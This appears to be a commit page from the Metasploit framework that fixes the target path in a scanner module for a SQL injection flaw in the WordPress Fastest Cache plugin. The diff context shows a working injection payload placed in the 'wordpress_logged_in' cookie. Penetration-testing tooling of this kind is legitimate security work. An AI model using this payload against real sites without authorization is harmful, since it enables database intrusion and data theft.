Fix exploitation bug

rapid7 · Oct 14, 2024 · 36162ab · 36162ab
1 parent a87e915
commit 36162ab
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb b/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb
@@ -58,7 +58,7 @@ def run_host(_ip)
       res = send_request_cgi({
         'method' => 'GET',
         'cookie' => "wordpress_logged_in=\" AND (SELECT #{random_number} FROM (SELECT(#{payload}))#{random_table}) AND \"#{random_string}\"=\"#{random_string}",
-        'uri' => normalize_uri(target_uri.path)
+        'uri' => normalize_uri(target_uri.path, 'wp-admin.php')
       })
       fail_with Failure::Unreachable, 'Connection failed' unless res
     end